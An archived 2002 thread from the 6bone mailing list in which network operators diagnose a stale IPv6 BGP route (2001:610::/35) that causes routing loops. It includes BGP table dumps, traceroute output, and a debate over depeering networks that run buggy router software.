% Network not in table


a slightly modified zebra looking glass can be found
@ http://6bone.best.ca/looking-glass to show FUBAR's view of the 6Bone.

 Richard




> ----- Original Message -----
> From: "Jorgensen, Roger" <RJorgensen@upctechnology.com>
> To: "'Gert Doering'" <gert@space.net>; "Wim Biemolt"
> <Wim.Biemolt@surfnet.nl>
> Cc: <6bone@ISI.EDU>
> Sent: Monday, August 12, 2002 8:42 PM
> Subject: RE: [6bone] routing problem
> 
> 
> > Hi,
> >
> > We're geting the 2001:610::/35 from many of our peers, and
> > we're also seing the 2001:610::/32 from even more peers.
> >
> > Seems like the ghost bug is out there again... this is what
> > we see, and there are some common as path's in all of them,
> >
> >
> > BGP routing table entry for 2001:610::/35, version 95785
> > Paths: (26 available, best #21, table Global-IPv6-Table)
> >   Advertised to non peer-group peers:
> >   2001:6C8:0:FFFD::12 2001:730::1:1 2001:730::1:3 2001:730::1:5
> > 2001:730::1:7
> >   2001:730::1:F 2001:730::1:15 2001:730::1:19 2001:730::1:1D
> > 2001:730::1:21
> >   2001:730::1:23 2001:730::1:29 2001:730::1:2F 2001:730::1:31
> > 2001:730::1:33
> >   2001:730::1:35 2001:730::1:37 2001:730::1:39 2001:730::1:3B
> > 2001:730::1:3F
> >   2001:730::1:41 2001:730:0:2::AAE2 2001:740:0:102::1:0
> 2001:768:E:24::1
> >   2001:778:11:4::2 2001:7F8:2:800F::2 3FFE:2000:0:40F::22F
> > 3FFE:2501:100::21
> >   3FFE:2900:1:5::1 3FFE:4006:0:3::11 3FFE:4008:1::D
> 3FFE:81F1:1:2022::1
> >   3FFE:8270:0:1::52
> >   2012 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> 1103
> > 145.145.249.242)
> >     2001:730::1:33 from 2001:730::1:33 (193.224.190.128)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 2012:200 2012:513 6830:60003 6830:60011
> >   2012 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> 1103
> > 145.145.249.242), (received-only)
> >     2001:730::1:33 from 2001:730::1:33 (193.224.190.128)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 2012:200 2012:513
> >   790 3274 6175 10109 7660 2500 4725 1752 6939 3425 1103, (aggregated
> by
> > 1103 145.145.249.242)
> >     2001:730::1:7 from 2001:730::1:7 (193.94.250.58)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 6830:60003 6830:60011
> >   790 3274 6175 10109 7660 2500 4725 1752 6939 3425 1103, (aggregated
> by
> > 1103 145.145.249.242), (received-only)
> >     2001:730::1:7 from 2001:730::1:7 (193.94.250.58)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >   559 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> 1103
> > 145.145.249.242)
> >     3FFE:2000:0:40F::22F from 3FFE:2000:0:40F::22F (130.59.32.38)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 6830:60003 6830:60011
> >   559 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> 1103
> > 145.145.249.242), (received-only)
> >     3FFE:2000:0:40F::22F from 3FFE:2000:0:40F::22F (130.59.32.38)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >   3292 109 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated
> by
> > 1103 145.145.249.242)
> >     2001:6C8:0:FFFD::12 from 2001:6C8:0:FFFD::12 (195.249.8.172)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 6830:60003 6830:60011
> >   3292 109 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated
> by
> > 1103 145.145.249.242), (received-only)
> >     2001:6C8:0:FFFD::12 from 2001:6C8:0:FFFD::12 (195.249.8.172)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >   6726 24765 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated
> by
> > 1103 145.145.249.242)
> >     2001:730::1:19 from 2001:730::1:19 (80.84.236.164)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 6830:60003 6830:60011
> >   6726 24765 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated
> by
> > 1103 145.145.249.242), (received-only)
> >     2001:730::1:19 from 2001:730::1:19 (80.84.236.164)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >   8758 24765 4618 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated
> by
> > 1103 145.145.249.242)
> >     3FFE:4006:0:3::11 from 3FFE:4006:0:3::11 (212.25.27.46)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 6830:60003 6830:60011 24765:200 24765:800 24765:3500
> > 24765:7005
> >   8758 24765 4618 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated
> by
> > 1103 145.145.249.242), (received-only)
> >     3FFE:4006:0:3::11 from 3FFE:4006:0:3::11 (212.25.27.46)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 24765:200 24765:800 24765:3500 24765:7005
> >   8973 24765 4618 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated
> by
> > 1103 145.145.249.242)
> >     3FFE:4008:1::D from 3FFE:4008:1::D (192.16.124.2)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 6830:60003 6830:60011
> >   8973 24765 4618 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated
> by
> > 1103 145.145.249.242), (received-only)
> >     3FFE:4008:1::D from 3FFE:4008:1::D (192.16.124.2)
> >      Origin IGP, localpref 100, valid, external, atomic-aggregate
> >   6175 10109 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> > 145.145.249.242)
> >     3FFE:2900:1:5::1 from 3FFE:2900:1:5::1 (208.19.223.30)
> >       Origin IGP, metric 0, localpref 100, valid, external,
> > atomic-aggregate
> >       Community: 6830:60003 6830:60011
> >   6175 10109 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> > 145.145.249.242), (received-only)    3FFE:2900:1:5::1 from
> > 3FFE:2900:1:5::1 (208.19.223.30)
> >       Origin IGP, metric 0, localpref 100, valid, external,
> > atomic-aggregate
> >   20834 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> 1103
> > 145.145.249.242)
> >     3FFE:8270:0:1::52 from 3FFE:8270:0:1::52 (80.71.0.50)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 6830:60003 6830:60011
> >   20834 513 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> 1103
> > 145.145.249.242), (received-only)
> >     3FFE:8270:0:1::52 from 3FFE:8270:0:1::52 (80.71.0.50)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >   15589 5609 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> 1103
> > 145.145.249.242)
> >     2001:730::1:F from 2001:730::1:F (192.168.1.12)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 6830:60003 6830:60011
> >   15589 5609 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> 1103
> > 145.145.249.242), (received-only)
> >     2001:730::1:F from 2001:730::1:F (192.168.1.12)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >   5609 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> > 145.145.249.242)
> >     2001:730::1:9 from 2001:730::1:9 (163.162.170.129)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate,
> best
> >       Community: 6830:60003 6830:60011
> >   5609 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by 1103
> > 145.145.249.242), (received-only)
> >     2001:730::1:9 from 2001:730::1:9 (163.162.170.129)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >   8379 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> 1103
> > 145.145.249.242)
> >     2001:768:E:24::1 from 2001:768:E:24::1 (195.143.108.166)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >       Community: 6830:60003 6830:60011
> >   8379 6435 9264 7660 2500 4725 1752 6939 3425 1103, (aggregated by
> 1103
> > 145.145.249.242), (received-only)
> >     2001:768:E:24::1 from 2001:768:E:24::1 (195.143.108.166)
> >       Origin IGP, localpref 100, valid, external, atomic-aggregate
> >   12337 15589 5609 9264 7660 2500 4725 1752 6939 3425 1103,
> (aggregated by
> > 1103 145.145.249.242)
> >     2001:730::1:31 from 2001:730::1:31 (62.128.0.14)
> >       Origin IGP, metric 10, localpref 100, valid, external,
> > atomic-aggregate
> >       Community: 6830:60003 6830:60011 12337:6004
> >   12337 15589 5609 9264 7660 2500 4725 1752 6939 3425 1103,
> (aggregated by
> > 1103 145.145.249.242), (received-only)
> >     2001:730::1:31 from 2001:730::1:31 (62.128.0.14)
> >       Origin IGP, metric 10, localpref 100, valid, external,
> > atomic-aggregate
> >       Community: 12337:6004
> >
> >
> >
> > ---
> > Roger Jorgensen (rjorgensen@upctechnology.com)
> > System Engineer @ engineering - UPC Technology
> > handles: ROJO1-6BONE ROJO9-RIPE RJC10-NORID
> >
> >
> > > -----Original Message-----
> > > From: Gert Doering [mailto:gert@space.net]
> > > Sent: Monday, August 12, 2002 9:20 PM
> > > To: Wim Biemolt
> > > Cc: 6bone@ISI.EDU
> > > Subject: Re: [6bone] routing problem
> > >
> > >
> > > Hi,
> > >
> > > (I am copying the 6bone mailing list back in, as I think this
> > > is a pretty
> > > generic problem - I hope you don't mind)
> > >
> > > On Mon, Aug 12, 2002 at 08:56:09PM +0200, Wim Biemolt wrote:
> > > > ==> From: Gert Doering
> > > >
> > > > > To clarify this:  this is not an effect of "caching" of
> > > any sort.  It's
> > > > > just plain buggy router implementations that don't handle
> > > withdrawals
> > > > > correctly.
> > > >
> > > > So I can only hope that a buggy router implementation also
> > > means a memory
> > > > leak or something like that causing them to reboot in the
> > > real near future?
> > >
> > > No.  In our case, the /35 staid in the table until I finally
> > > managed to
> > > reach someone at Viagenie who cleared some sessions...  the BT /35
> got
> > > stuck at Chello, and after clearing their sessions, at Viagenie.
> > >
> > > > The only other option I see is switch back to our /35. We
> > > are using IPv6
> > > > as production.
> > >
> > > So are we...
> > >
> > > > Being without any decent IPv6 connectivity for too long
> > > > won't do our case for IPv6 any good I'm afraid.
> > >
> > > No :-((
> > >
> > > My recommendation would be to contact all your peers and
> > > check the different
> > > paths seen everywhere for "common tails".  Then contact the
> > > AS(es) that you
> > > see in the first hop of the "common tail" (in your case, as
> > > far as I could
> > > see, Chello and this Japanese AS) and ask them to check their
> > > tables for
> > > the prefix, and preferably clear some BGP sessions (upstream and/or
> > > downstream).
> > >
> > > In the last case, clearing session at Chello and yelling at
> Viagenie
> > > helped...   but as I said, this time, Viagenie hasn't been in
> > > the paths
> > > (yet?), but a new japanese AS that I haven't seen before.
> > >
> > > This takes some time, though (1-2 days).  If you can't spend
> > > that time,
> > > you'll have to announce both the /32 and the /35, establish contact
> to
> > > the suspect ASes, withdraw the /35 again, and hope that you got the
> > > right ones.
> > >
> > > Feel free to contact me to get an "show bgp ipv6 ..." output
> > > from here.
> > >
> > > Gert Doering
> > >         -- NetMaster
> > > --
> > > Total number of prefixes smaller than registry allocations:
> > > 46871 (46631)
> > >
> > > SpaceNet AG                 Mail: netmaster@Space.Net
> > > Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
> > > 80807 Muenchen              Fax : +49-89-32356-299
> > >
> > > _______________________________________________
> > > 6bone mailing list
> > > 6bone@mailman.isi.edu
> > > http://mailman.isi.edu/mailman/listinfo/6bone
> > >
> > _______________________________________________
> > 6bone mailing list
> > 6bone@mailman.isi.edu
> > http://mailman.isi.edu/mailman/listinfo/6bone
> >
> 

From paitken@cisco.com Mon Aug 12 13:58:35 2002
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Sascha,

> while this is definitely funny:
> 
> cr4.hamburg1#sh bgp ipv6 2001:610::/35
> BGP routing table entry for 2001:610::/35, version 201014
> Paths: (0 available, no best path)
> Flag: 0x820
>   Advertised to peer-groups:
>      PEERS
> 
> Isn't it? As you see, the cisco knows the path
> but does not know any paths towards the destination :-)

Then the clever thing to do would be to email some details to 
ipv6-support@cisco.com so we can check it out, eh?

Gosh, it's a good thing some of us subscribe to this list, and of course 
we know exactly what sort of router you're using and what software 
version, right?

Sigh.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX


From sp@iphh.net Mon Aug 12 14:06:11 2002
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Hi Paul,

after I checked again 5 minutes later the entry is
gone. I believe this was just some strange sort of
history entry right after the real evil geniuses
fixed their ghost announcements.

Anyway, this is a 7204 NPE-200 running 12.2(8)T5 (IP Plus)
with 128megs of Ram. Just running BGP v6 neighbors
and OSPF. Nothing special.

Strange anyway, since withdrawn routes should immediately
disappear and should not show up like this, eh?

Good to know Cisco is actively reading users
mailing-lists :-)

Thanks
Sascha

> > cr4.hamburg1#sh bgp ipv6 2001:610::/35
> > BGP routing table entry for 2001:610::/35, version 201014
> > Paths: (0 available, no best path)
> > Flag: 0x820
> >   Advertised to peer-groups:
> >      PEERS
> > 
> > Isn't it? As you see, the cisco knows the path
> > but does not know any paths towards the destination :-)
> 
> Then the clever thing to do would be to email some details to 
> ipv6-support@cisco.com so we can check it out, eh?
> 
> Gosh, it's a good thing some of us subscribe to this list, and of course 
> we know exactly what sort of router you're using and what software 
> version, right?
> 
> Sigh.
> -- 
> Paul Aitken
> IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX
> 
> 


From michel@arneill-py.sacramento.ca.us Mon Aug 12 14:13:33 2002
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> Paul Aitken
> Then the clever thing to do would be to email some
> details to ipv6-support@cisco.com so we can check
> it out, eh? Gosh, it's a good thing some of us
> subscribe to this list, and of course we know
> exactly what sort of router you're using and what
> software version, right?

And maybe the clever thing to do for Cisco would be to understand that
the reason people come here asking Cisco questions is because they are
tired of dealing with Cisco support, or the lack of it thereof.

Michel.


From tvo@EnterZone.Net Mon Aug 12 14:31:35 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Ronald.vanderPol@rvdp.org
cc: 6bone@ISI.EDU
Subject: Re: [6bone] routing problem
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Um, have you tried looking at the BGP paths perhaps to determine what the
problem may be perhaps?  This looks like a classic routing loop.  (When
will people stop using inferior BGP code?!)

Beyond that, (hopefully the maintainers are listening) *ANY* traceroute
that doesn't show the actual ADDRESS for a hop, and not just the
ip6.int/ip6.arpa record is useless.


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |


On Mon, 12 Aug 2002 Ronald.vanderPol@rvdp.org wrote:

> This morning, 6bone routing is working great again :-(
> 
> My packets go all around the world, except where they are supposed to
> go, a couple of kilometers away.
> 
> $ traceroute6 kirk.rvdp.org
> traceroute6 to kirk.rvdp.org (2001:610:508:1001::1) from 2001:6e0:206:1:220:edff
> :fe19:4862, 30 hops max, 12 byte packets
>  1  sixgate  0.465 ms  0.241 ms  0.201 ms
>  2  Matrix1.core.ipv6.intouch.net  0.337 ms  0.32 ms  0.297 ms
>  3  ams-cust.core.ipv6.intouch.net  0.719 ms  0.685 ms  0.662 ms
>  4  edt-intouch.ipv6.edisontel.it  56.626 ms  57.222 ms  57.296 ms
>  5  3ffe:8120::19:1  77.743 ms  77.648 ms  78.07 ms
>  6  ::128.107.240.254  208.484 ms  208.147 ms  208.297 ms
>  7  tunnel-stealth-lavanoc.lava.net  283.503 ms 3ffe:81d0:ffff:2::22  220.401 ms
>   219.823 ms
>  8  edt-hurricane.ipv6.edisontel.it  241.509 ms 2001:288:3b0::1e  410.271 ms  41
> 1.955 ms
>  9  2001:288:3b0::1b  410.547 ms  411.804 ms  411.807 ms
> 10  3ffe:8120::19:1  338.267 ms  337.184 ms  336.319 ms
> 11  3ffe:8120::8:2  546.298 ms *  545.426 ms
> 12  3ffe:c00:8023:2f::1  540.567 ms  540.827 ms ipv6-gw.ipv6.man.poznan.pl  276.
> 96 ms
> 13  3ffe:8320:1::  438.038 ms  437.34 ms  436.39 ms
> 14  3ffe:200:1:61::2  301.057 ms 2001:288:3b0::1e  686.372 ms 2001:7f8:2:8016::3
>   466.067 ms
> 15  fe-tu0.pao.ipv6.he.net  592.915 ms  660.317 ms  635.527 ms
> 16  3ffe:81d0:ffff:2::22  523.884 ms  473.015 ms  460.349 ms
> 17  edt-hurricane.ipv6.edisontel.it  540.591 ms  484.15 ms  484.438 ms
> 18  3ffe:8120::19:1  503.904 ms  503.959 ms  504.063 ms
> 19  2001:288:3b0::2  836.366 ms  904.766 ms  944.527 ms
> 20  2001:288:3b0::1f  835.769 ms  836.396 ms  837.633 ms
> 21  2001:288:3b0::1e  999.56 ms  1006.61 ms  1003.31 ms
> 22  2001:288:3b0::1b  836.865 ms  931.304 ms  836.235 ms
> 23  3ffe:8140:101:5::3  835.866 ms  836.066 ms  837.62 ms
> 24  pc6.otemachi.wide.ad.jp  836.719 ms  835.717 ms  835.182 ms
> 25  * KOTsre01-101.nw.v6.odn.ne.jp  888.587 ms  891.257 ms
> 26  STOsre01-201.nw.v6.odn.ne.jp  890.308 ms  964.177 ms  889.769 ms
> 27  2001:7f8:2:8016::3  889.739 ms  889.598 ms  889.922 ms
> 28  fe-tu0.pao.ipv6.he.net  887.98 ms  889.919 ms  886.22 ms
> 29  3ffe:81d0:ffff:2::22  887.853 ms  885.344 ms  885.198 ms
> 30  edt-hurricane.ipv6.edisontel.it  958.517 ms  909.741 ms  907.426 ms
> $
> 
> 	rvdp
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From tvo@EnterZone.Net Mon Aug 12 14:34:37 2002
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From: John Fraizer <tvo@EnterZone.Net>
To: Wim Biemolt <Wim.Biemolt@surfnet.nl>
cc: Ronald.vanderPol@rvdp.org, 6bone@ISI.EDU
Subject: Re: [6bone] routing problem 
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This is real simple.  If someone is running a BGP daemon that has
problems, and refuses to replace it, refuse to peer/drop peering with
them.  Problem solved.

Many of you are probably screaming, "But that breaks my peering to
ZZZ!!!"  Well, which is more broken?  No peer or a peer who sends you (and
all of it's other peers) invalid routes and causes routing loops?



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |

On Mon, 12 Aug 2002, Wim Biemolt wrote:

> 
> 
> ==> From: Ronald.vanderPol@rvdp.org
> 
> > This morning, 6bone routing is working great again :-(
> > 
> > My packets go all around the world, except where they are supposed to
> > go, a couple of kilometers away.
> 
> We are trying hard to get rid of the advertisements for our /35
> after migrating to /32. Seems more difficult that expected. But
> after that your routing problem should probably be gone.
> 
> -Wim -/- SURFnet
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From tvo@EnterZone.Net Mon Aug 12 14:39:07 2002
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Date: Mon, 12 Aug 2002 17:38:58 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: Nicolas DEFFAYET <nicolas.deffayet@ndsoftware.net>
cc: Ronald.vanderPol@rvdp.org, 6bone@ISI.EDU
Subject: Re: [6bone] routing problem
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On 12 Aug 2002, Nicolas DEFFAYET wrote:

> Many routers keep in cache and reannonce 2001:610::/35 that Surfnet
> don't announce.

Bull$hit!  Too many people are running inferior BGP implementations is
more lime it.  There is NO SUCH THING as "cache" in the BGP specification.

If someone is running broken code, it should be fixed/replaced.  If they
don't, their peers should filter them, period the end.  If not, they (and
their peers) should not be surprised to find themselfs filtered by those
of us who *do* care about routing stability.



---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |




From paitken@cisco.com Mon Aug 12 14:44:31 2002
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Sascha,

> Anyway, this is a 7204 NPE-200 running 12.2(8)T5 (IP Plus)
> with 128megs of Ram. Just running BGP v6 neighbors
> and OSPF. Nothing special.

I'll just write that down in my little black book just in case you 
report another oddity to the list without telling us...

> Strange anyway, since withdrawn routes should immediately
> disappear and should not show up like this, eh?

Yup.

> Good to know Cisco is actively reading users
> mailing-lists :-)

Well, I am :-)
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX


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To: "Jeroen Massar" <jeroen@unfix.org>
Cc: "'Wim Biemolt'" <Wim.Biemolt@surfnet.nl>,
   "'Gert Doering'" <gert@space.net>,
   "'Nicolas DEFFAYET'" <nicolas.deffayet@ndsoftware.net>,
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Subject: Re: [6bone] routing problem
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From: Robert Kiessling <Robert.Kiessling@de.easynet.net>
Date: 12 Aug 2002 23:30:32 +0100
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"Jeroen Massar" <jeroen@unfix.org> writes:

> There is one good way: find out the AS's who are 'bad' and depeer them
> if they don't respond in x time.

This is easier said than done. How do you find this out definitively?

Depeering is a big hammer, and you should be sure before you ask for
this.

I'm currently trying to collect information about this, but I'm not in
a position to point fingers to a sinner.

Robert


From paitken@cisco.com Mon Aug 12 15:35:17 2002
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Subject: Re: [6bone] routing problem
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Michel,

> And maybe the clever thing to do for Cisco would be to understand that
> the reason people come here asking Cisco questions is because they are
> tired of dealing with Cisco support, or the lack of it thereof.

Well I'm sorry if at any time you've felt let down by Cisco Support.

While I can't speak for Cisco TAC, I believe that we, 
ipv6-support@cisco.com, do a very good job of trying to understand each 
individual user's unique situation and work with them to resolve 
whatever issues they're facing.

ipv6-support typically receives around 25 customer emails a week, 
including requests for information, tunnel requests, feature requests 
and bug reports.

Considering that we're not Cisco TAC, we're not a call centre, we 
(allegedly) don't work 24 x 7 (although it's 11.30pm here in Scotland), 
we're a small team and we actually have real development work to do, I 
think it's amazing that we somehow find the time to help customers 
individually.

I don't know many other companies that offer direct access to their 
development engineers. In fact, I know some who charge a lot of money 
for that sort of service.

So please, read the signature below carefully. I'm not a TAC engineer, 
I'm a software engineer working on IPv6 development. Cisco ipv6-support 
is not Cisco TAC. We're a small group of engineers who are enthusiastic 
about developing IPv6 solutions, and we'll do our very best to help you 
with any IPv6 problems.

Cheers.
-- 
Paul Aitken
IPv6 Development, Cisco Systems Ltd, Edinburgh, Scotland. EH6 6LX


From tvo@EnterZone.Net Mon Aug 12 15:49:21 2002
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Date: Mon, 12 Aug 2002 18:48:46 -0400 (EDT)
From: John Fraizer <tvo@EnterZone.Net>
To: Robert Kiessling <Robert.Kiessling@de.easynet.net>
cc: Jeroen Massar <jeroen@unfix.org>, "'Wim Biemolt'" <Wim.Biemolt@surfnet.nl>,
   "'Gert Doering'" <gert@space.net>,
   "'Nicolas DEFFAYET'" <nicolas.deffayet@ndsoftware.net>,
   Ronald.vanderPol@rvdp.org, 6bone@ISI.EDU
Subject: Re: [6bone] routing problem
In-Reply-To: <m3znvrpv5j.fsf@joseba.easynet.de>
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You contact the peering contacts in the AS-PATH.  A simple "soft clear" on
their router will show if THEY are the problem or if it is upstream from
them.  You move upstream until you find the problem AS(s).  If they don't
respond or refuse to correct the issue, you depeer them or request that
their peers do so.

If the peer in question is running unsupported, OLD, OLD, OLD bgp code,
please let the list know.  Save the rest of us the problem of peering with
someone who refuses to step into the present and continues to run code
that is known to cause problems.


Speaking of which, EnterZone is getting ready to de-peer a few folks if
they don't respond to our MULTIPLE emails to their peering contacts.  If
you're a peer of EnterZone and you have received an email/responded to an
email from us in the past week, it is in your best (peering) interest to
contact us, otherwise, you'll feel kinda silly when our NOC tells you ther
reason the peering session is down is because you failed to respond to our
contact attempts and we depeered you for that reason.


---
John Fraizer              | High-Security Datacenter Services |
EnterZone, Inc            | Dedicated circuits 64k - 155M OC3 |
http://www.enterzone.net/ | Virtual, Dedicated, Colocation    |


On 12 Aug 2002, Robert Kiessling wrote:

> "Jeroen Massar" <jeroen@unfix.org> writes:
> 
> > There is one good way: find out the AS's who are 'bad' and depeer them
> > if they don't respond in x time.
> 
> This is easier said than done. How do you find this out definitively?
> 
> Depeering is a big hammer, and you should be sure before you ask for
> this.
> 
> I'm currently trying to collect information about this, but I'm not in
> a position to point fingers to a sinner.
> 
> Robert
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone
> 


From jeroen@unfix.org Mon Aug 12 16:05:33 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Robert Kiessling'" <Robert.Kiessling@de.easynet.net>
Cc: "'Wim Biemolt'" <Wim.Biemolt@surfnet.nl>,
   "'Gert Doering'" <gert@space.net>,
   "'Nicolas DEFFAYET'" <nicolas.deffayet@ndsoftware.net>,
   <Ronald.vanderPol@rvdp.org>, <6bone@ISI.EDU>
Subject: RE: [6bone] routing problem
Date: Tue, 13 Aug 2002 01:03:52 +0200
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Robert Kiessling wrote:

> "Jeroen Massar" <jeroen@unfix.org> writes:
> 
> > There is one good way: find out the AS's who are 'bad' and depeer
them
> > if they don't respond in x time.
> 
> This is easier said than done. How do you find this out definitively?
> 
> Depeering is a big hammer, and you should be sure before you ask for
this.
True true.

But the fact remains; if one doesn't reply to mail to the contact
addresses specified in the whois.
And one doesn't reply to phone calls, and/or doesn't even take the time
to look into the issue they
simply don't have any reason to be connected at all -> depeer.
 
> I'm currently trying to collect information about this, but I'm not in
> a position to point fingers to a sinner.
http://dmoz.org/Computers/Internet/Protocols/IP/IPng/IPv6_Route_Views/
.... find the sinner ;)

8<---
There are now 8 mortal sins:
- pride
- covetousness
- lust
- wrath
- gluttony
- envy
- sloth
- announcing bogus routes not belonging in the global routing table
--->8

Greets,
 Jeroen


From wimbie@surfnet.nl Mon Aug 12 16:19:58 2002
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cc: 6bone@ISI.EDU
Subject: Re: [6bone] routing problem 
In-reply-to: Your message of "Tue, 13 Aug 2002 01:03:52 +0200."
             <003501c24254$8698eb90$420d640a@unfix.org> 
Organisation: SURFnet bv / netwerkdiensten
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==> From: "Jeroen Massar"

> http://dmoz.org/Computers/Internet/Protocols/IP/IPng/IPv6_Route_Views/
> .... find the sinner ;)

You probably will not find it under the link to SURFnet. It is out of
order since we moved IPv6 connectivity from old Cisco 4500 left overs
to our Cisco 12k routers. Probably should try to fix this. Will do.

-Wim -/- SURFnet


From jeroen@unfix.org Mon Aug 12 16:22:11 2002
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From: "Jeroen Massar" <jeroen@unfix.org>
To: "'John Fraizer'" <tvo@EnterZone.Net>, <Ronald.vanderPol@rvdp.org>
Cc: <6bone@ISI.EDU>
Subject: RE: [6bone] routing problem
Date: Tue, 13 Aug 2002 01:20:29 +0200
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John Fraizer wrote:

<SNIP>
> Beyond that, (hopefully the maintainers are listening) *ANY* 
> traceroute
> that doesn't show the actual ADDRESS for a hop, and not just the
> ip6.int/ip6.arpa record is useless.

At least Ronald will be able to reach his box now:

jeroen@purgatory:~$ traceroute6 kirk.rvdp.org
traceroute to kirk.rvdp.org (2001:610:508:1001::1) from
3ffe:8114:1000::27, 30 hops max, 16 byte packets
 1  tunnel-026.ipng.nl (3ffe:8114:1000::26)  20.202 ms  19.486 ms
19.206 ms
 2  Amsterdam.core.ipv6.intouch.net (2001:6e0::2)  19.753 ms  19.835 ms
20.22 ms
 3  Gi1-2.BR1.Amsterdam1.surf.net (2001:7f8:1::a500:1103:1)  125.067 ms
*  125.295 ms
 4  PO12-0.CR1.Amsterdam1.surf.net (2001:610:16:6000::1)  125.293 ms *
125.795 ms
 5  PO1-0.CR2.Amsterdam1.surf.net (2001:610:16::2)  124.887 ms *
127.649 ms
 6  PO0-0.AR5.Utrecht1.surf.net (2001:610:16:3048::50)  126.705 ms *
203.777 ms
 7  sursix.surfnet.nl (2001:610:1:6008::10)  127.48 ms  127.205 ms
126.575 ms
 8  surrogate.ipv6.surfnet.nl (2001:610:508:110:200:cff:fe58:8522)
127.604 ms  128.475 ms  128.277 ms
 9  kirk.rvdp.org (2001:610:508:1000::2)  162.757 ms  136.29 ms  145.077
ms
10  kirk.rvdp.org (2001:610:508:1001::1)  189.606 ms  138.011 ms
137.936 ms

He uses the same uplink so the problem is gone for him.

On 2001:6e0::2 we currently see:
B>* 2001:610::/32 [20/0] via fe80::204:28ff:fe90:5c82, fxp1, 10:25:48
B>* 2001:610:240::/42 [20/0] via fe80::203:e3ff:fe58:63e1, fxp1,
3d15h11m

That /42 is RIPE-NCC-IPv6.
Also comparing this to the traceroute below, apparently our box received
it from edison at that moment.
I really like hop 6 though ;)

jeroen@purgatory:~$ whois 128.107.240.254
Cisco Systems, Inc. (NET-LEWIS-PRNET1)
   170 W. Tasman Dr.
   San Jose, CA 95134
   US

The path was: rvdp -> intouch -> intouch(1) -> edisontel -> cern ->
cisco -> lavanet -> hurricane(1) -> tanic-tw -> wide-jp -> odn-jp(2) ->
hurricane

(1) Some boxes use the last assigned address as it's source.
(2) hmmmm... We had some channel takeovers on IRCNet this weekend from
there, those where v4 socks proxys though.

Greets,
 Jeroen

<SNIP>
> On Mon, 12 Aug 2002 Ronald.vanderPol@rvdp.org wrote:
> 
> > This morning, 6bone routing is working great again :-(
> > 
> > My packets go all around the world, except where they are 
> supposed to
> > go, a couple of kilometers away.
> > 
> > $ traceroute6 kirk.rvdp.org
> > traceroute6 to kirk.rvdp.org (2001:610:508:1001::1) from 
> 2001:6e0:206:1:220:edff
> > :fe19:4862, 30 hops max, 12 byte packets
> >  1  sixgate  0.465 ms  0.241 ms  0.201 ms
> >  2  Matrix1.core.ipv6.intouch.net  0.337 ms  0.32 ms  0.297 ms
> >  3  ams-cust.core.ipv6.intouch.net  0.719 ms  0.685 ms  0.662 ms
> >  4  edt-intouch.ipv6.edisontel.it  56.626 ms  57.222 ms  57.296 ms
